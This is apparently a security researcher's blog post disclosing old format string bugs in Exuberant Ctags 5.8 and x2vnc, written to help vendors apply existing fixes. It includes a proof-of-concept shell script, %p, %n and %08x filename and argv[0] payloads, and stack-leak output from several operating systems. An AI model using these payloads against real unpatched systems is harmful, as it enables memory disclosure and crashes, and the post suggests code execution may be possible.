Earlier this week I ran into a fairly old format string bug in the Exuberant Ctags implementation, and it turns out this particular issue was fixed back in November 2009. However it wasn’t picked up by vendors at the time. This isn’t a critical issue, but seeing this fixed in SVN without a proper release being made afterwards resulted in only those who decided to ship a package based on a Subversion checkout to have the fix. Others (OpenBSD, FreeBSD, pkgsrc, Homebrew, CentOS < 8) stuck to the 5.8 release and were unaware. Again, this bug in ctags is not a critical issue but it makes you wonder how many pieces of software we ship to users, where upstream fixed security issues in their tree, has gone dormant at some point and never cut a new release.

While building the devel/ectags port on OpenBSD I noticed a compiler warning that was issued for this line in lregex.c:

error (WARNING | PERROR, regexfile);

Where error() is from routines.c which ends up doing:

    va_start (ap, format);
    fprintf (errout, "%s: %s", getExecutableName (),
            selected (selection, WARNING) ? "Warning: " : "");
    vfprintf (errout, format, ap);

As it turns out, regexfile is controlled by the user so we have a classic format string vulnerability.

After looking at repology which vendors shipped this particular version I noticed that Debian and CentOS 8 ship 5.9svn20110310. After the “Exuberant Ctags” project has gone dormant the “Universal Ctags” project picked up development and that’s where I found the fix made to the original codebase in 2009: “Resolved compiler warnings with gcc-4.2.1 compiler.”.

So the issue is basically fixed, but let’s poke it nonetheless to see if we can still trigger it to leak some stack memory or trigger a crash.

To trigger the vulnerable code we need to satisfy three conditions:

  • use --regex-$language and instruct ctags to read from a file using the @ marker for a language supported by ctags, e.g. c;
  • the file needs to exist so doesFileExist() succeeds;
  • the file cannot be opened so fopen() fails;

I used a simple script like this to make easier to play with the format string, let’s call it ctags_leak.sh:

#!/bin/sh
ctags=${CTAGS_BIN:=ctags}
filename="${1}"

touch "${filename}"
chmod 000 "${filename}"

$ctags --regex-c="@${filename}"

rm -f "${filename}"

I’ve tested this on a few systems I had access to and noted the vulnerable version. Note that the “filename” starts with AAAA and as ctags prints stack memory you’ll see 0x41414141 where we end up printing the top of stack. This worked on all systems except for CentOS 7, I didn’t investigate why. On the other hand, all tested versions could be made to crash using only %n.

OpenBSD (ectags 5.8p4, fixed in 5.8p5)

tau:1 ctags % CTAGS_BIN=ectags ./ctags_leak.sh AAAA`python3 -c "print('%p' * 92)"`
ectags: Warning: AAAA0x00x1683489771da0x1180x80808080808080800x00x7f7ffffbe2310x16810d646d700x1683e37259400x1683682eb6400xca0acbfe23316c4f0x7f7ffffbe0100x16810d62f11f0x168315ee4cf00x7f7ffffbe0b00x168398c8ce200x7f7ffffbe0b00x00x1683e37259400x20xc01f17ea2231b79b0x7f7ffffbe0300x16810d62fb180x1683e37259400xdf6f64ac211289560x7f7ffffbe0500x16810d62a70d0x168398d836300x7f7ffffbe0b80x7f7ffffbe0a00x16810d61413b0x00x168398d836300x7f7ffffbe0d00x00x7f7ffffbe0b00x00x00x00x00x00x20x7f7ffffbe2200x7f7ffffbe2270x00x7f7ffffbe2ef0x7f7ffffbe3250x7f7ffffbe3340x7f7ffffbe36a0x7f7ffffbe37b0x7f7ffffbe3830x7f7ffffbe3950x7f7ffffbe3a90x7f7ffffbe3c00x7f7ffffbe3d30x7f7ffffbe3e10x7f7ffffbe3f60x7f7ffffbe4120x7f7ffffbe44a0x7f7ffffbe4770x7f7ffffbe49c0x7f7ffffbe4ae0x7f7ffffbe4c40x7f7ffffbe4e10x7f7ffffbe4ec0x7f7ffffbe50f0x7f7ffffbe5a50x7f7ffffbe5b90x7f7ffffbe5d20x7f7ffffbe6090x00x30x16810d6000400x40x380x50xb0x60x10000x70x168398b810000x80x00x90x16810d6140000x00x00x2d007367617463650x632d78656765722d0x702541414141403d0x70257025702570250x70257025702570250x7025702570257025 : Permission denied
ectags: No files specified. Try "ectags --help".
tau:2 ctags %

macOS (ctags 5.8_1 from Homebrew)

nazca:10159 c % ./ctags_leak.sh AAAA`python -c "print('%p' * 89)"`
ctags: Warning: AAAA0x00x7fff9206c6a80x56c8f40xffffffff000000000x150x7faf7dc059900x7faf7dc059300x7ffeed1d69080x7ffeed1d66d00x102a3cef70x00x7faf7dc059300x00x00x00x00x7ffeed1d66f00x102a3d63a0x3d7412b9ce8700670x7faf7dc059300x7ffeed1d67100x102a39c2e0x102a39bd20x00x7ffeed1d67200x7fff6b551cc90x00x20x7ffeed1d68f80x7ffeed1d68fe0x00x7ffeed1d69c00x7ffeed1d69d70x7ffeed1d6a1d0x7ffeed1d6a310x7ffeed1d6a4a0x7ffeed1d6a830x7ffeed1d6a9e0x7ffeed1d6ada0x7ffeed1d6af70x7ffeed1d6b030x7ffeed1d6b190x7ffeed1d6b4f0x7ffeed1d6b910x7ffeed1d6bb10x7ffeed1d6bbc0x7ffeed1d6bdc0x7ffeed1d6c120x7ffeed1d6cd90x7ffeed1d6d0f0x7ffeed1d6d230x7ffeed1d6d2e0x7faf7dc057900x7ffeed1d6d510x7ffeed1d6d640x7ffeed1d6d790x7ffeed1d6d810x7ffeed1d6d940x7ffeed1d6da30x7ffeed1d6dbd0x7ffeed1d6dfa0x7ffeed1d6e020x7ffeed1d6e110x7ffeed1d6e200x7ffeed1d6e2e0x7ffeed1d6e410x7ffeed1d6e6e0x7ffeed1d6ea60x7ffeed1d6ebe0x7ffeed1d6ed20x00x7ffeed1d68d00x7ffeed1d6ef00x7ffeed1d6f030x7ffeed1d6f220x7ffeed1d6f570x7ffeed1d6f730x7ffeed1d6faf0x7ffeed1d6fd60x00x62617475636578650x3d687461705f656c0x636f6c2f7273752f0x632f6e69622f6c610x736761740x2d2d0073676174630x3d632d78656765720x25702541414141400x2570257025702570 : Permission denied
ctags: No files specified. Try "ctags --help".
nazca:10160 c %

CentOS 7 (ctags 5.8-13.el7)

[jasper@localhost ctags]$  ./ctags_leak.sh AAAA`python -c "print('%p' * 100)"`
ctags: Warning: AAAA0x510xdc5a100x10x7fac70e0d7b8(nil)0x42c0d80xd7e1a00x42c0d80xd7e1a00xd7e1200x7ffdb70ae7790x4184f7(nil)0xdc0010(nil)0xd7e120(nil)0x40269c0x7ffdb70ad000(nil)0x10x4187090xd7e1200x4021c9(nil)0xf0b5ff0x10x423d6d0x7ffdb70acf20(nil)(nil)0x40269c0x7ffdb70ad000(nil)(nil)0x7fac70a685050x20000000000x7ffdb70ad0080x2000000000x402160(nil)0x2549715d2cc78fb40x40269c0x7ffdb70ad000(nil)(nil)0xdab21f48b2a78fb40xda11901025bd8fb40x7ffd00000000(nil)(nil)0x7fac70e239730x7fac710371500x3(nil)(nil)0x40269c0x7ffdb70ad000(nil)0x4026c50x7ffdb70acff80x1c0x20x7ffdb70ae7690x7ffdb70ae76f(nil)0x7ffdb70ae8470x7ffdb70ae8580x7ffdb70ae8770x7ffdb70ae8870x7ffdb70ae8930x7ffdb70ae8a10x7ffdb70ae8ad0x7ffdb70aee490x7ffdb70aee660x7ffdb70aee890x7ffdb70aeea50x7ffdb70aef480x7ffdb70aef5f0x7ffdb70aef700x7ffdb70aef7d0x7ffdb70aef940x7ffdb70aefa60x7ffdb70aefae0x7ffdb70aefbd0x7ffdb70aefe0(nil)0x210x7ffdb715c0000x100xf8bfbff0x60x10000x110x640x30x4000400x40x380x5 : Permission denied
ctags: No files specified. Try "ctags --help".
[jasper@localhost ctags]$

SmartOS (exctags-5.8nb2 from pkgsrc)

huygens% CTAGS_BIN=exctags ./ctags_leak.sh  AAAA`python3 -c "print('%p' * 125)"`
exctags: Warning: AAAA020101010101010101d44066f48bf9048bf90fffffc7fffdffc221448cfb8fffffc7fffdffc2248cfb8fffffc7fffdff9004289cbfffffc7fffdff8e8144066a48bf900000048bf90fffffc7fffdff930428c5cfffffc7fffdff93048bf9048bf9048bf90fffffc7fffdff990423664fffffc7fffdff960fffffc7fed868900fffffc7fffdff960fffffc7fef3fa1500000fffffc7fffdff9b82fffffc7fffdff9a041059c002fffffc7fffdffc10fffffc7fffdffc180fffffc7fffdffd22fffffc7fffdffd42fffffc7fffdffd4efffffc7fffdffd60fffffc7fffdffd6dfffffc7fffdffd7ffffffc7fffdffd86fffffc7fffdffd95fffffc7fffdffd9efffffc7fffdffdadfffffc7fffdffdc3fffffc7fffdffe27fffffc7fffdffe3bfffffc7fffdffe46fffffc7fffdffea2fffffc7fffdffeb3fffffc7fffdffec1fffffc7fffdffec9fffffc7fffdffeecfffffc7fffdfff21fffffc7fffdfff34fffffc7fffdfff40fffffc7fffdfff67fffffc7fffdfff8cfffffc7fffdfff99fffffc7fffdfffadfffffc7fffdfffb907d8fffffc7fffdfffc67defffffc7fffdfffcc19fffffc7fffdfffe334000404385694105307e0fffffc7fef3fa0007fffffc7fef39600080610007e127d03e87d13e87d23e87d33e87d97dd55c777e72000037eafffffc7fef3900007eb27ec34000736761746378652d78656765722d2d2541414141403d63 : Permission denied
exctags: No files specified. Try "exctags --help".
huygens%

FreeBSD (ctags 5.8)

$ CTAGS_BIN=/usr/local/bin/exctags ./leak.sh AAAApython2 -c "print('%p' * 125)"
exctags: Warning: AAAA0xffffffffffffffff0xd0x00x00x150x7fffffffed610x8006860000x8006800080x7fffffffea600x22de4b0x00x8006860000x7fffffffeb080x00x7fffffffeb100x7fffffffeb280x7fffffffea800x22e7080x151d8786c38c35c60x8006860000x7fffffffeaa00x229c0a0x2420280x20x7fffffffeaf00x21510f0x3000000000x20x7fffffffeb280x00x7fffffffeb080x00x00x00x00x8002670000x00x20x7fffffffed400x7fffffffed570x00x7fffffffee610x7fffffffee6c0x7fffffffee810x7fffffffeed30x7fffffffeedd0x7fffffffeef30x7fffffffef070x7fffffffef280x7fffffffef340x7fffffffef450x7fffffffef500x7fffffffef5e0x00x30x2000400x40x380x50xa0x60x10000x80x00x90x2150000x70x8002400000x180x00xf0x7fffffffefc80x120x124fd60x100x7fffffffef880x110x400x130x10x140x7fffffffef700x150x180x160x7ffffffff0200x170x30x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x636f6c2f7273752f0x652f6e69622f6c610x2d007367617463780x632d78656765722d0x702541414141403d0x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x7025702570257025 : Permission denied
exctags: No files specified. Try “exctags –help”.
$

I’m aware the formatting of the memory in this proof of concept is less than pretty, but that’s a result from the constraint that our payload is a filename. The underlying filesystems enforces a maximum length on that and with %p we can get the most data back with the fewest characters (2) counting towards the maximum filename length.

As this issue was fixed a while ago already I merely wanted to confirm this finding so that others could also apply the fix. Perhaps it can be weaponized to gain code execution still.

x2vnc

Whilst looking for similar cases of format string abuse I noticed that x2vnc also has issues:

tau:1 x2vnc % ARGV0="AAAA %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" x2vnc localhost:0
AAAA 00000010.f513fc0a.00000800.000000db.fffc9ed0.0c1702e8.fffca030.0000170c.0000170c.324e5748.fffc9f00.27a061f4.27a0f130.fffca038.00000002.5974cf59.fffc9fd0.27a082d2.00000008.f5119b40.3781295d.087a9e20.fffca030.00000000.fffca038.00000002.de76468a.fffca020.087acbad.087acb90.00000000.f5119aea.00000000.00000000.087a9e20.fffca030.00000000.fffca038.fffca030.00000000.fffca038.00000002.fffca020.27a0513b.00000000.088a0630.fffca050.00000000.fffca030.00000000.00000000.00000000.00000000.00000000.00000002.fffca1b0.fffca3bd.00000000.fffca3c9.fffca3d7.fffca3e2.fffca3ff.fffca411.fffca426.fffca438.fffca447.fffca45b.fffca536.fffca563.fffca574.fffca58d.fffca595.fffca5cc.fffca5e1.fffca605.fffca612.fffca61e.fffca654.fffca68a.fffca6c2.fffca6d3.fffca6e2.fffca701.fffca722.fffca73e.00000000.00000003.27a00040.00000004.00000038.00000005.0000000b.00000006.00001000.00000007.0869e000.00000008.00000000.00000009.27a05000.00000000.00000000.41414141.30252e78: ConnectToTcpAddr: connect: Connection refused
AAAA %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x: unable to connect to VNC server

In this case argv[0] ends up being passed directly to fprintf(). This actually gives a lot more room to play with because we’re not limited to the maximum length of file names (as is the case with ctags). This particular issue with x2vnc was also fixed by Debian back in 2012.

Conclusion

So, as it turns out, format string vulnerabilities can still be found in 2020 though it mostly seems to affect older software with a less-than-active upstream. Who knew? ¯\_(ツ)_/¯